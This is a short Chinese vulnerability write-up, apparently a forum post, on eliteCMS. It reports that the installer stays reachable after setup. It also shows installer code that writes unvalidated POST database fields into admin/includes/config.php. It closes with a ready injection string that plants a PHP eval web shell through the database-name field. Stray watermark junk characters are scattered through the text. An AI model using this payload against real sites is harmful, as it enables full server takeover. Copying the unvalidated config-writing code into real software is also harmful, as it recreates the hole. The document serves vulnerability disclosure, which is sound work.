eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
, v$ T' d  H( ~/ c- W% c
# F3 r4 Z! y9 n: @另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

9 j/ Q, ?6 }/ l...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
# b: S' y/ p) P    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
: [! T7 h% y, k* R  a7 w3 g    $write .= "\n";
* d' f5 A; \+ f  C    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
  h6 k3 u$ h7 r3 U, o9 }! w& r! m; f    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
8 N0 }# N! k# X5 {& `2 H2 A$ o    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
, i% H  L! Q3 v" f! a    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
9 e+ F2 F$ x5 O' t    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

. Z5 Y8 v! L5 C2 @8 ]    $writer = fopen($file, 'w');
6 k2 H6 b, n  Z, q...

& U* P$ O& B5 C5 M# H  F在看代码：
6 B3 h/ O6 k5 G. X1 X& t# q
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
' T# F$ y8 y. t9 B* Y' W4 }6 M5 O$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
& H7 A7 c# S& q0 F: i  d$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
5 A  b$ U2 J3 O5 I6 k4 e
) v% }) l% q: l% h. u5 h2 N* J取值未作任何验证
如果将数据库名POST数据：
  z# b$ \% M5 i, M% x
4 {$ c1 v/ P7 q' P  v  T"?><?php eval($_POST[c]);?><?php
$ l* b; G6 W" p6 ^* [0 U( C
/ i( j$ l6 O' T6 z  p将导致一句话后门写入/admin/includes/config.php
+ t$ S' Y! _3 I6 o